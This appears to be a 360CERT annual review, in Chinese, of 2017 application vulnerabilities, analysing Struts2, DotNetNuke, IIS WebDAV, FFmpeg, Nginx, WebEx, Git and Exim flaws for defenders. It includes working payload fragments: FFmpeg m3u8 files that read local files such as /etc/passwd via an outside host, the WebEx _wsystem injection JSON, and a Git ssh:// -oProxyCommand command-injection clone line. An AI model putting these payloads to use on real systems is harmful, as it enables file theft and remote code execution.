摘要
应用程序作为计算机服务的直接提供者,其存在是必不可缺的。除了传统的CS应用之外还出现了各种的web应用,相应的还有提供web服务的各类web容器。应用是广泛的存在于我们的日常生活中的,如若其中出现了安全问题,将可能直接影响业务的正常运作。本文是360CERT对2017年应用安全的总结。
漏洞情况
将2017年所有披露的漏洞进行数据分析,统计出漏洞数top50的产品。其中系统类20个产品,应用类30个产品。可以看到漏洞最多的是Android,Linux Kernel,Iphone OS,分别841,435,387枚漏洞。
筛选出应用类产品漏洞top10,大多来自Adobe,Microsoft,Apple和Google的产品。排在首位的是ImageMagick,他是一个免费的创建、编辑、合成图片的软件。查阅具体漏洞发现,其大多数都是文件解析及编辑器方面的问题,这种漏洞可以在短期内fuzz出来。不知为何2017年漏洞剧增,难道因为破窗效应?
像ImageMagick,2017年漏洞多达357枚,但是大部分是本地DOS和溢出,危害低且利用难度大。这也反映了整体现象:漏洞多,但是价值高的可利用漏洞太少。那么,接下来对2017年披露的有价值应用漏洞进行梳理:
Struts2 S2-045/S2-046漏洞
2017年3月6日,Struts2发布了关于S2-045的漏洞公告,提及到可以通过构造好的Content-Type值来实现远程代码执行攻击,影响的版本为Struts2 2.3.5 – Struts2 2.3.31,Struts2 2.5 – Struts2 2.5.10。由于在默认的情况下便可触发漏洞,并且有人发出了可以实现命令执行的Payload导致该漏洞的影响不仅广而且利用成本低,从一些SRC平台上对该漏洞的提交情况也可以看出这一点。随后在20日出来的S2-046是在S2-045的基础上还存在其它的触发点。由于该漏洞造成的影响非常广,在这里进行回顾。
Struts2 及漏洞相关背景
Apache Struts2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了 Java Servlet API,鼓励开发者采用MVC架构。缘起于Apache Struts的 WebWork框架,旨在提供相对于 Struts 框架的增强和改进,同时保留与Struts框架类似的结构。2005 年 12 月,WebWork宣布WebWork 2.2以Apache Struts2的名义合并至 Struts。 由于Struts2中的OGNL引擎功能比较强大,可通过其来访问Java对象的成员变量或方法,如果输入点可控便会造成安全问题。尽管Struts2也有安全管理器来避免通过OGNL来执行命令等一些危险的操作,但是该安全管理器也是一次又一次的被绕过。
漏洞细节
借助JavaAgent来查看漏洞利用过程的调用栈
可以看到大体的流程为:
FileUploadInterceptor.intercept() --> LocalizedTextUtil.findText() --> LocalizedTextUtil.getDefaultMessage() --> TextParseUtil.translateVariables() --> OgnlTextParser.evaluate()
使用JavaAgent来查看调用栈的好处在于只有payload和漏洞环境的情况下就可以大致知道漏洞的利用过程,方便接下来做动态分析。下面再使用动态分析的方式来跟一下漏洞利用的整个过程,struts2会在StrutsPrepareFilter过滤器中将HttpServletRequest请求封装成StrutsRequestWrapper或是MultiPartRequestWrapper。而这个漏洞就是发生在对MultiPart请求的处理上,在StrutsPrepareFilter类中的doFilter方法中下断点即可。对于这里Get或是Post请求都是一样的
往下跟会进入wrapRequest方法
在这个方法中可以看到它是通过请求头中Content-Type的值中是否包含“multipart/form-data”来决定该请求是否为MultiPart请求,这也是为什么payload在Content-Type中需要包含“multipart/form-data”的原因,同时也说明了在利用的时候并不需要去构造一个上传文件的包了,只需要在请求中修改Content-Type的值包含“multipart/form-data”就行。接着通过getMultiPartRequest方法来获取MultiPart请求的处理类。
可以看到该方法从容器中获取了名字为multipartHandlerName的值的一个实例来作为处理器。而multipartHandlerName的值来自于配置中的struts.multipart.parser的值,该值默认为”jakarta“,也就是说最终获取到的是一个JakartaMultiPartRequest类的实例,而问题就是出现在该类中,这也解释了为啥这个漏洞能影响这么大,因为在默认的情况下就可以被利用。
继续往下跟的时候会进入JakartaMultiPartRequest类中的parseRequest方法,再跟入FileItemIteratorImpl类中的构造方法。
可以看到这里有一个对ContentType的值得判断,要不是以“multipart/”开头的话便会抛出一个InvalidContentTypeException的异常,跟下去看它对这里的异常信息是如何处理的,因为这个异常信息里是包含着Content-Type的值的,也就是说里面包含着payload中构造好的OGNL表达式。再往下跟直到OGNL表达式执行就是一开始通过JavaAgent看到的调用栈中的过程了,看一下translateVariables方法:
会通过以$或是%字符开头来提取出真正的表达式,所以在payload中使用${}来写一样是可以的。
S2-046是在S2-045的基础上的,触发流程一样,触发点不一样了。在Streams类中的checkFileName方法会对文件名进行检查,若是包含空字节的话会抛出InvalidFileNameException异常。
其中异常信息含有完整的文件名,这里的异常信息也经过了和S2-045一样的处理,也就是说文件名中的OGNL表达式也会被执行。针对该漏洞的利用只需要在模拟文件上传时在Content-Disposition的filename中加入空字节,并将OGNL表达式写到filename就好S2-046还有一个触发方式是Content-Length长度超过 2M,但是这种触发需要配置struts.multipart.parser为jakarta-stream才行。
总结
Struts2的安全问题层出不穷,它的漏洞往往影响比较大,同时漏洞点也经常会别人吐槽。若不是业务必要应该使用安全性更好的框架来替代它。同时也可以由此去考虑一些别的框架在使用语言表达式的时候是否会存在一些类似的安全性问题。
Struts2 S2-052漏洞
2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
漏洞相关背景
Xstream是一个Java类库,用来将对象序列化成XML或者通过XML反序列化为对象。Struts2启用了rest-plugin后接收到XML格式数据时会使用XStreamHandler来处理,也就是通过XML反序列化为对象。若XML为利用Gadget构造好的恶意数据,在反序列化的过程中可以导致远程代码执行。
漏洞细节
文件/org/apache/struts2/rest/ContentTypeInterceptor.java
在struts2 rest-plugin 中的处理逻辑里接受到对应格式的消息时,会调用已经注册的对应handler的 handler.toObject方法对其进行实例化,在这里传入的xml消息,所以就会跳转到已经定义的XStreamHandler的toObject方法
在经过此处的fromXML方法后导致实例化的恶意对象被执行,导致恶意代码执行
随即看到计算器被成功弹出
总结
这个漏洞应该是s2的官方插件中首次受到xml序列化的影响,而反观之前早已有许多的php反序列化和python反序列化以及java自身的反序列化的问题存在,而过去的这些漏洞应该早已为我们敲响了序列化这个行为的警钟,对数据进行序列化,势必需要完整且严密的校验,而这个插件中对传入数据直接进行操作的,明显开发者没有对这块数据的安全性和合法性产生过重视行为,我们建议开发者子在开发的时候要基于一切用户输入都是不可信的原则进行过滤和相应的校验,这样才能有效的避免一些明显的安全问题。
DotNetNuke CVE-2017-9822 漏洞
2017年7月份的BlackHat上Alvaro Muñoz (@pwntester)和Oleksandr Mirosh的议题中讲述了在.net中使用JSON来进行序列化和反序列存在的一些安全问题,同时也提及到了另外的一种格式XML,用到了DotNetNuke中的一处反序列漏洞来做例子。通过对该漏洞的分析来了解针对XML格式反序列化在.net中的利用方式。
漏洞相关背景
XmlSerializer是.net中用于在对象和XML文档之间进行序列化和反序列化操作的类,其功能和Java中的Xstream是一样的,但是由于语言的特性不一样,它们对序列化和反序列化的实现方式也是不一样的。所以即使是同样的对XML数据反序列化利用,它们的自动触发和利用方式是不一样的。
漏洞细节
PersonalizationController.cs 66-72行:
从Cookie中获取到DNNPersonalization的值后再传给Globals中的DeserializeHashTableXml方法。
Globals.cs 3687-3690行:
再跟进XmlUtils中的DeSerializeHashtable方法。
XmlUtils.cs 184-218行:
这个方法会使用item元素中的type属性值来设置类型,并且会在208行这里将该元素的内容进行反序列化,这里便是漏洞的触发点了。漏洞代码中从可控输入点到最终可利用处的这个过程还是比较直观的,接下来是针对像这样使用了XmlSerializer来反序列化的漏洞点进行攻击利用分析。
利用分析
XmlSerializer在对一个类进行序列化或者反序列化的时候都需要传入该类的类型信息。
先修改下上面的TestClass类,对其中的成员变量test进行封装。
这时候再去观察代码在反序列化时的输出,可以明显知道setter被自动调用了,因此setter便可以作为利用链的第一步。接下来就是要去找一些可以被用作攻击使用的类了。
System.Windows.Data.ObjectDataProvider可以调用任意在运行时被引用的类的任意方法。一个例子:
相当于调用了TestClass.FuncExample(“JustATest!”),ObjectDataProvider中的成员变量都进行了封装的,并且每次调用了setter后都会检测参数是否足够,足够了的话便会自动去调用传入的方法。其中的过程借用BlackHat议题中的一张图来展示。
如此一来要是被序列化的是一个ObjectDataProvider类,那么在反序列的时候便可以做到任意方法调用的效果。再找一个存在能达到想要的利用效果的方法的类就行了,例如DNN中的就存在一个可以做到任意文件上传效果的类,DotNetNuke.Common.Utilities.FileSystemUtils中的PullFile方法:
总结
在2015年和2016年间Java反序列化漏洞造成的影响非常广而且威力大引起了人们对该类型漏洞的重视,相对于常见的字符串和二进制的序列化数据格式,同样我们亦应该关注其它格式的序列化和反序列化会存在的安全问题,不一样的处理方式意味着可能存在不一样的利用方法。值得一提的是今年F5威胁研究人员发现该漏洞同S2-045/046一起被用到名为Zealot的攻击中去。
IIS 6.0 WebDAV CVE-2017-7269漏洞
2017年3月27日,来自华南理工的zhiniang Peng和Chen Wu在Github 上公开了一份对开启了WebDAV服务的IIS6.0的攻击代码,漏洞编号为CVE-2017-7269。并表示在2016年7月和8月份发现该漏洞在野外利用。
漏洞相关背景
虽然微软于2015年7月14日停止了对IIS6.0的更新支持,但在国内仍然有大量用户,微软在2017年6月13推出了相关Windows Server 2003补丁。在2017年4月14日 ShadowBrokers 更新的NSA黑客工具中,Explodingcan便是相关开启了WebDAV服务的Windows 2003 IIS 6.0攻击程序。
WebDAV是一种基于HTTP 1.1的通信协议。扩展了HTTP1.1,添加了新的方法,使应用程序可对WebServer直接读写,攻击关键使用的方法PROFIND,用于返回指定目录的内容。
漏洞细节
漏洞点:
qmemcpy在进行拷贝处理时,没有对长度进行检查,导致溢出
漏洞触发流程:
对漏洞函数ScStoragePathFromURL打断点,并查看栈回溯。可以发现调用栈中的DAVPropFind。对Execute成员函数进行分析,调用了HrCheckStateHeaders,进而调用HrCheckIfHeader
在qmemcpy(&v35[v22], v29, 2 * v28 + 2)函数中
// v28 = v7 – v27 , v7为url长度值
// 而&v35[v22] 的地址,是在栈中,
可以看到因为对复制长度没有做限制,目标地址在ebp-450h上,在这里造成了栈溢出发生。如果想通过覆盖返回地址执行任意代码,会看到起用了栈保护机制,想要攻击成功会破坏security_cookie。
ScStoragePathFromURL的调用者ScStoragePathFromURL会使用IFITER::PszNextToken,对httpurl进行处理,连续获取<>中的值,直至跳出循环。
- 第一次处理http url过程中,没有直接覆盖返回地址,而是覆盖stackbuffer(stackbuffer通过VStackBuffer获取,存在栈中,所以会被覆盖),使用地址0x680312c0(这个地址是一个堆地址)覆盖。
- 第二次获得<http://localhost/bbbbb…>,qmemcpy拷贝目的地址应该是栈地址,但是由于第一次栈溢出,覆盖了stack buffer的地址,变成了堆地址,所以不需要控制长度,溢出到堆地址了。
- 在这个堆地址的偏移中,存放着IEcb的vftable,通过覆盖虚表函数达到代码执行。
- 控制EIP后,使用了alpha shellcode和shareduserdata,做到任意代码执行
可以看到,发送payload之后,靶机执行了calc程序,进程由w2wp创建,用户组是NETWORK_SERVICE。
更多攻击实例可以参考NSA 的 Explodingcan工具。
总结
从非技术层面分析,一款已经被时代淘汰的产品,仍然有如此大量的使用量,在第三方分析网站中,截止2017年11月27日,美国、中国、印度仍各疑似有9346、6766、1454例可供公开访问的IIS服务受影响(这些不包括未知数量不能直接从互联网访问的IIS服务)。
2015年停止更新、2016被捕获到野外利用、2017年3月公布攻击代码,4月被发现出现在NSA 攻击工具中,在迟迟等来的官方6月更新中,发现更新文件在2016年10月创建,种种现象表明,网络并不安全。
FFmpeg 安全问题
2017年6月27日 hackerone 公开了一个关于FFmpeg本地文件泄漏的报告。该报告中描述为25日公开的另一个FFmpeg本地文件泄漏相关。该漏洞Emil Lerner和Pavel Cheremushkin在今年的phdays conference中已经披露。
FFmpeg及漏洞相关背景
FFmpeg是一个非常强大且运用广泛的多媒体框架,可以解码,编码,转码,播放几乎所有格式的多媒体文件。其基本工作流程如下:
原始的封装视频 –> demux分离器对封装的视频资源进行分离 –> 得到音频资源和视频资源 –> 进行解码 –> 得到解压后的音频资源和视频资源 –> 进入filter进行编辑处理 –> 得到处理后的音频资源和视频资源 –> 对资源编码得到转码后的音频资源和视频资源 –> 进入mux混合器进行封装 –> 得到转码封装后的视频。
虽然FFmpeg非常强大,但是正因为它强大的格式适配能力,加之各种流媒体协议的多样性,有可能对FFmpeg产生意想不到的安全威胁。
一般流媒体协议分为两种,一种是通过HTTP渐进下载的(如HLS,flash渐进式),另一种则是RTSP形式的实时流媒体协议。HLS是Apple提出并推广的,全称为HTTP Live Streaming。它会把整个视频流分成多个小的,基于 HTTP 的文件来下载,每次下载一部分,并把视频流元数据存放于m3u8文件中。m3u8本身并不是视频文件,它只会指定应该播放的视频资源,而真正播放的视频资源是下载下来的ts文件,可以把m3u8理解为一个配置文件,配置文件中指定了ts为播放文件,一个简单的m3u8如下:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
redrain.ts 真正播放的视频资源
当然,这个视频资源也可以是一个远程资源:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
http://www.redrain.sb/test.mp4 远程资源
漏洞细节
在上个月的phdays conference里,通过视频格式的一个trick bypass了厂商对SSRF的封堵。
在AVI视频中,有一个数据块可以定义字幕,叫做GAB2,位置于AVI header中,有趣的是m3u8可以插入到avi文件中,且FFmpeg依旧会对有文件头#EXTM3U的AVi视频做HLS处理。
所以我们可以通过对含有GAB2 header的AVI视频中嵌入m3u8,bypass厂商对CVE-2016-1898的修复。
只需要将之前的PoC嵌入AVI中,依然可以读取到目标文件。
[AVI header GAB2 header]
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST
[AVI body footer]
Emil Lerner和Pavel Cheremushkin在会议中其实披露了多个FFmpeg的漏洞,其中一个最为有意思的,也就是在hackerone公开报告中用到的漏洞,把读取到的文件内容输出到视频中,从而可以让文件读取可以在无网络环境的情况下利用。
利用思路如下:
同样将m3u8嵌入到带有GAB2的AVI视频中,对文件格式检查进行bypass。
因为之前说过,m3u8并不是真正的视频资源,所以如果要播放,必须还要在m3u8中嵌入一个可播放的视频资源,其中有一个古老的媒体格式XBin,这个媒体格式具备基本显示图片,文本的功能,体积非常小,最重要的是,这个媒体格式可编程,如果嵌入到m3u8中,将目标文件作为对象,用xbin绘制成为字符,就可以作为合法可播放的视频文件观看了,所以依次嵌套后,文件内容大致为:
[AVI header]
[GAB2 header]
[m3u8 header]
[XBIN header]
目标文件
[XBIN footer]
[m3u8 footer]
[AVI footer]
但FFmpeg检查了body中的非法字符串,所以无法使用data:对XBIN格式声明:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:<format-header>
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:<format-footer>
#EXT-X-ENDLIST
但是m3u8支持AES128的CBC模式加密,可以在#EXT-X-KEY中进行设置,所以可以很简单加密m3u8的内容:
…
#EXTINF:1,
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL>
#EXT-X-BYTERANGE: 16
/dev/zero
…
= AES^-1 CONST(0x00…00) ⊕<VAL> = <FMT HEADER>
由于m3u8单次访问目标文件获取到的内容不完整,为了获得完整的文件内容,还需要控制#EXT-X-BYTERANGE设置偏移量,然后重复这一部分。
最终,我们得到的文件应该是这样的:
[AVI header]
[GAB2 header]
[m3u8 header]
{loop}
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL> 声明m3u8的AES加密,将XBIN部分加密
[XBIN header] 被加密
目标文件
[XBIN footer] 被加密
{loop}
[m3u8 footer]
[AVI footer]
执行后,读取的目标文件内容成功输出在ffplay的播放器中:
总结
FFmpeg作为目前来说最广泛的多媒体框架,它的强大之处毋庸置疑,但是正因为适配了尽可能多的媒体格式,其中一些沿用至今的古老格式或是一些特殊的标准协议,都可能给FFmpeg带来不一样的可能性,而缺乏沙箱的设计有可能还会有更多的利用可能性,关于媒体处理的服务组件或软件将会暴露出更多问题。
Nginx CVE-2017-7529漏洞
2017年7月11日,Nginx在官方公告中称发现了一个范围过滤器中的安全问题,并分配了CVE-2017-7529。通过精心构造的恶意请求能造成整数溢出,对范围值的不当处理会导致敏感信息泄漏。该漏洞影响所有0.5.6 – 1.13.2版本内默认配置模块的Nginx只需要开启缓,存攻击者即可发送恶意请求进行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下,攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。通过我们的分析判定,该漏洞利用难度低,可以归属于low-hanging-fruit的漏洞。在真实网络攻击中也有一定利用价值。
漏洞相关背景
由于计算机中整数都有一个宽度,因此它就有一个可以表示的最大值。当我们试图保存一个比它可以表示的最大值还大的数时,就会发生整数溢出。这种情况导致的后果是不确定的,当用户提供的输入可以触发整型溢出,且被用于循环控制,访问控制,或者内存分配等行为时,这种情况下会导致安全问题。其中OpenSSH 3.3有一个比较经典的整数溢出例子:
nresp = packet_get_int();
if (nresp > 0) {
response = xmalloc(nresp*sizeof(char*));
for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL);
}
如果sizeof(char *)的值为4且nresp的值为1073741824,则操作nresp * sizeof(char *)的结果溢出,并且xmalloc()的参数将为0。malloc将正常分配一个0字节的缓冲区,导致后续的一系列缓冲区问题。
漏洞细节
通过查看patch确定问题是由于对http header中range域处理不当造成,焦点在ngx_http_range_parse函数中的循环:
HTTP头部range域的内容大约为Range: bytes=4096-8192,bytes=<start>-<end>,字符串指针p中即为“bytes=”后面的内容,这段代码是要把“-”两边的数字取出分别赋值给start和end变量,标记读取文件的偏移和结束位置。
对于一般的页面文件这两个值怎么玩都没关系。但对于有额外头部的缓存文件若start值为负(合适的负值),那么就意味着缓存文件的头部也会被读取。
一个缓存文件的例子:
如此我们来看看如何构造Range内容才能把start设计为负值。首先代码中cutoff和cutlim阀量保证了每次直接从串中读取时不会令start或end成负值。那么能令start为负的机会仅在suffix标记为真的小分支中。因此我们需令suffix = 1,由此可推知Range的内容必然为Range:bytes=-xxx,即省略初始start值的形式。那么我们可以通过Range中设end值大于content_length(真正文件的长度),这样start就自动被程序修正为负值了。但是在写利用过程中发现一个问题,若end值很大那么start的绝对值也会很大,会超过缓存文件的起始头部,造成读取失败。若end值不够大,那么换算下来size = end – 1 >= content_length (end > content_length见前文所述),就不能通过循环外面的检测:
这样的话似乎无论设end为何值都无法达成利用了。继续跟进代码发现这个循环是个无条件循环:
尾部为:
也就是说若Range域形如Range: bytes=start-end,start1-end1,…,就还有机会继续完成利用。我们可以构造一个Range: bytes=-X, -Y一大一小两个end值,只需要控制前面一个end值小而后一个end值大,从而实现start值和size值皆为负数,控制start值负到一个合适的位置,那么就能成功利用读到缓存文件头部了。
Nginx 默认模块配置开启缓存:
缓存文件内容如下:
利用漏洞成功读取反向越界读出491字节:
总结
对于整型溢出漏洞,最大的特点是在发生时不太容易被发现,也就是说,当整数溢出产生的时候,应用程序并不知道计算是错误的,会继续计算下下去。很难说整型溢出会导致什么样的安全问题,在不同位置的整数溢出,产生的效果也是不同的。最常见的,在循环位置的整数溢出可能导致Dos,配合缓冲区,有的会达到信息泄露,甚至代码执行的效果。在CVE-2017-7529这个漏洞了,由整型溢出可以控制start,合适的位置时可以读到缓存文件头部。这样的话就能达到获取内网IP的效果。因为该漏洞影响范围广且利用难度低,0.5.6 – 1.13.2版本内默认配置模块的Nginx只需要开启缓,存攻击者即可发送恶意请求进行远程攻击造成信息泄露。
Cisco WebEx CVE-2017-6753漏洞
2017年7月17日,思科安全更新中,修补了一枚远程代码执行的漏洞,编号CVE-2017-6753。Cisco WebEx 浏览器插件漏洞可以导致未经认证的远程攻击者,使用Web 浏览器权限执行任意代码。该漏洞影响到所有Windows 系统上的WebEx 插件,包括 Cisco WebEx Meetings Server, Cisco WebEx Centers (Meeting Center, Event Center, Training Center, and Support Center)。该漏洞影响Windows下安装了Cisco WebEx插件的 Chrome 和 Firefox 用户。
漏洞相关背景
Cisco WebEx 网络和视频会议是一种可在任何地方使用任何移动设备或视频设备与任何人在线交流想法和信息的工具,既经济又便捷。Cisco WebEx 插件允许浏览器与安装在计算机上的 Cisco WebEx 会议应用程序进行通信。
其中atgpcext库在使用自己的json解析器时和客户端解析json的结果不一致 。
例如object={ “foo”: 1, “foo\0”: 2 },Chrome得到object.foo = 1而atgpcext解析得到object.foo = 2。
漏洞细节
我们使用Cisco WebEx extension for Google Chrome version 1.0.10,同时使用https://lock.cmpxchg8b.com/JauChal3/webex.html中的PoC进行调试。PoC主要内容如下:
通过触发content_script.js中的native_message事件:
之后执行RollbackGpcExt()
在RollbackGpcExt()中触发插件中connect和message事件,向插件发送message_type为launch_meeting的消息,触发message后会调用content_script.js中的sendMessage发送消息:
sendMessage()中,在postMessage之前会使用verify()对发送的消息进行校验,跟入verify():
可以看到,在校验了message_type为launch_meeting后,对message进行了解析,调用JSON.parse(b.message),将传入的消息被进行json解析,解析之后,判断当前为Windows系统,接着分别判断了:
GpcExtName='atgpcext'
GpcUnpackName='atgpcdec'
然后对GpcInitCall进行校验,使用verifyScriptCall():
传入之前内容为:
V2ViRXhfRXhwbG9pdCgpOw==
即WebEx_Exploit();
其中使用正则:
/^(WebEx_|A[sT][ADEPSN]|conDll|RA[AM])|^(Ex|In)it|^(FinishC|Is[NS]|JoinM|[NM][BCS][JRUC]|Set|Name|Noti|Trans|Update)|^(td|SCSP)$/
进行检查,这里的正则并不是十分严格,可以轻松绕过。
verify()最后再使用/\.dll$|\.bundle$|\.app$/正则以及白名单whiteList对GpcComponentName进行检查,白名单内容如下:
通过白名单之后使用postMessage:
最后全部检查完毕就调用sendGoogleAnalyticMessage发送消息:
接下来看看TriggerExploit:
GpcComponentName中我们调用msvcr100.dll,这个dll并不存在于白名单中,输入的Message进入sendMessage中的verify中:
在解析之前我们看到:
"GpcComponentName":"YXRtY2NsaS5kbGw=",
"GpcComponentName\u0000":"bXN2Y3IxMDAuZGxs"
解析之后:
"GpcComponentName\u0000":"bXN2Y3IxMDAuZGxs"被正常解析为:
"GpcComponentName ":"bXN2Y3IxMDAuZGxs"
进入GpcInitCall进入verifyScriptCall检查:
因为verifyScriptCall存在缺陷,GpcInitCall中的内容在经过verifyScriptCall检查后,仍然如下:
X3dzeXN0ZW0oT2JqZWN0QWRkcmVzcyk9V2ViRXhfRXhwbG9pdDs=
base64解码后:
_wsystem(ObjectAddress)=WebEx_Exploit;
最后白名单检查时,因为存在两个GpcComponentName,其中第一个为atmccli.dll,所以可以通过白名单:
进入postMessage的message中:
"GpcComponentName":"YXRtY2NsaS5kbGw=", atmccli.dll
"GpcComponentName\u0000":"bXN2Y3IxMDAuZGxs", msvcr100.dll
"GpcInitCall":"X3dzeXN0ZW0oT2JqZWN0QWRkcmVzcyk9V2ViRXhfRXhwbG9pdDs=" _wsystem(ObjectAddress)=WebEx_Exploit;
最后可以通过_wsystem(ObjectAddress)的方式成功执行命令。
总结
该Cisco WebEx的漏洞主要是由Web插件中JavaScript代码针对json解析问题以及黑名单过滤不完整导致页面传入的非法数据,最终在客户端上的命令执行问题。
浏览器是用户日常使用中频率最高的软件之一,而浏览器上插件的安全性直接影响浏览器的安全。我们之后也将会持续关注浏览器插件相关的安全性问题。
Git ssh CVE-2017-1000117漏洞
在2017年8月10日Junio C Hamano在邮件组www.mail-archive.com发布了这一问题。恶意攻击人员可以通过巧妙构造“ssh://…”链接,让受害人在执行git程序等情况下访问该恶意链接,从而达到命令执行的目的。该链接可以被放在 git 项目的 .gitmodules 文件下,这样当受害人对一个项目进行“git clone –recurse-submodules”操作时,就会引发严重安全问题。漏洞影响包括但不限于 Git,SVN,CVS,HG,Gitlab,GithubDesktop,SourceTree 等。
漏洞相关背景
git是一个分布式版本控制软件,最初由林纳斯·托瓦兹(Linus Torvalds)创作,于2005年以GPL发布。最初目的是为更好地管理Linux内核开发而设计。应注意的是,这与GNU Interactive Tools(一个类似Norton Commander界面的文件管理器)有所不同。
git最初的开发动力来自于BitKeeper和Monotone。git最初只是作为一个可以被其他前端(比如Cogito或Stgit)包装的后端而开发的,但后来git内核已经成熟到可以独立地用作版本控制。很多著名的软件都使用git进行版本控制,其中包括Linux内核、X.Org服务器和OLPC内核等项目的开发流程。
Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。虽然任何网络服务都可以通过SSH实现安全传输,SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令。使用频率最高的场合类Unix系统,但是Windows操作系统也能有限度地使用SSH。2015年,微软宣布将在未来的操作系统中提供原生SSH协议支持。
在设计上,SSH是Telnet和非安全shell的替代品。Telnet和Berkeley rlogin、rsh、rexec等协议采用明文传输,使用不可靠的密码,容易遭到监听、嗅探和中间人攻击。SSH旨在保证非安全网络环境(例如互联网)中信息加密完整可靠。
这两者都是互联网中最被广泛使用的软件,git的一部分ssh协议的处理会交给本地的ssh来处理,而ssh这个软件本身是支持传入一定的命令进行执行。
漏洞细节
该漏洞主要由于SSH链接在hostname部分,若是用“-”开头,那么会导致ssh命令将hostname误认为这是一个选项。因此,我们可以利用“-oProxyCommand”选项来达到命令执行的目的。
在进行git clone 时候会调用到git/connect.c中“struct child_process git_connect(int fd[2], const char url,const char *prog, int flags)”函数。其接受到的参数url为命令中“git clone xxx://xxxxxxxxxx/xx(.git)”的xxx://xxxxxxxxxx/xx(.git)部分。在该函数中会对传入的这个字符串进行parse,提取其协议部分。在满足协议为ssh://的时候会进入该函数的else部分。
然后根据下面的流程调用本地的ssh
- 首先获得本地的ssh路径,然后push进conn->args
- 然后获得url中ssh_host部分再拼接路径
- 最后调用start_command函数进行命令执行
start_command的定义在git/run-command.c
int start_command(struct child_process *cmd)
将传入的cmd经过处理赋值给argv
经过execve这个函数进行命令执行,但是在这个这个命令执行的内容是
/usr/bin/ssh `ssh_host` path
ssh -oProxyCommand=gnome-calculator xxx将会在本地打开gnome的计算器
所以如果我们在clone 操作的时候将连接指定为git clone ssh://-oProxyCommand=gnome-calculator/cert将取得同样的命令执行的效果
总结
Git ssh命令注入漏洞核心的原因在于在对hostname进行parser的过程中存在一定的异议,也就导致会可以向本地的ssh软体注入一定的参数来执行命令,而和submodule的结合,更是提供了更为广泛的攻击面。关于parser尤其是会和其他软体进行交互的处理应该进行更为严格的过滤,遵从一切用户输入都是有害的不可信的原则进行处理.在2017的BlackHat 更是提出了url parser在各个语言中存在着的问题,parser这种接受用户输入作为主要功能实现的点尤其值得我们进行关注,因为完全由用户输入作为主要依据来进行功能的选择,但值得庆幸的是,通过这些事件和报告后,无论是开发人员,还是安全人员都对这些方面投入了更多的精力去思考去完善。
CVE-2017-16943 Exim-UAF漏洞
第一个版本的Exim是由Philip Hazel在1995年编写的,用于剑桥大学计算服务的电子邮件系统。它最初是基于一个较老的MTA,Smail -3,但它的设计和理念已经从Smail-3中分离出来了。Exim高度可配置,因此具有其他MTA中没有的功能。它的邮件策略控制功能,为管理员提供了控制谁可以通过系统发送或中继邮件。在4.x版本中,这已经成熟为基于访问控制列表的系统,允许非常详细和灵活的控制。4.x版本中集成了一个内容扫描框架,可以更轻松地整合反病毒和反垃圾邮件措施。这使得Exim非常适合执行不同的邮件策略。
漏洞相关背景
2017年11月25日,Exim官方修复了一处use-after-free的漏洞,由台湾安全公司DEVCORE的研究人员Meh发现,CVE编号为:CVE-2017-16943,并公布了一份POC,但是根据我们的分析跟进,该POC必须将配置文件中的dkim开启才能达到控制EIP,造成进程崩溃的效果。2017年12月11日,Meh在DEVCORE官网公布该漏洞的具体细节和默认配置下的POC。
漏洞细节
开启dkim配置下控制rip
exim一共管理着三种堆,定义成枚举类型的全局变量:
POOL_MAIN:表示主要的分配的堆块,可以被释放,消息的处理会在该堆池中分配。
POOL_PERM:表示分配的内存是永久的,直到进程结束才会被释放,保存一些需要共享的信息,例如配置信息,host信息,在使用这块堆池分配前会将store_pool改为POOL_PERM,再调用store_get()。
POOL_SEARCH:保存搜索的数据,在search_tidyup、search_open、internal_search_find函数中被使用。
Exim会循环读取消息,并动态分配内存,申请内存的函数包括:expand_string()、store_get()、string_xxx(),store_get_perm()会使用perm pool。
将配置文件/usr/exim/configure中的“control = dkim_disable_verify”注释,可以触发进程崩溃,进而控制rip,分析原因如下:
在receive_msg函数中会判断是否开启dkim,如果开启就会进入dkim_exim_verify_init函数:
dkim_exim_verify_init函数里在perm pool中申请内存:
使得在堆中分配一块内存,同时不改变current_block[0]中的值,后续对消息处理时会在main pool中分配堆块,分配一块0x2010大小的堆块,释放后,由于之前perm pool分配的堆块,使得释放的堆块不和top chunk合并,变成一个unsorted bin,此时fd和bk指向main arena区域。再进一次store extend后,通过store_get会获得指向main arena的指针,之后memcpy对main arena进行写操作,后续的free操作会造成崩溃,RIP会变成填充的数据。
具体的细节如下图:
默认配置下控制rip
在devcore公司公布具体细节后,我们对默认配置下如何控制rip进行了分析。其实原理和开启dkim配置类似,需要在top_chunk前分配一块在使用的堆块,防止后面释放的堆块和top_chunk合并,作者的poc是利用DATA来发送一个足够大的数据来扩展堆块,循环多次后,期间释放了之前的堆块,变成了一个大的unsorted bin块供后续分配。此时top_chunk之前就有了正在使用的堆块,再利用BDAT命令达到控制rip的目的。
具体控制rip的流程如下:
通过上面分析,将chunking_advertise_hosts 的值设置为空,这样可以禁用ESMTP CHUNKING 扩展,使BDAT 不可用,从而避免被攻击者利用。
总结
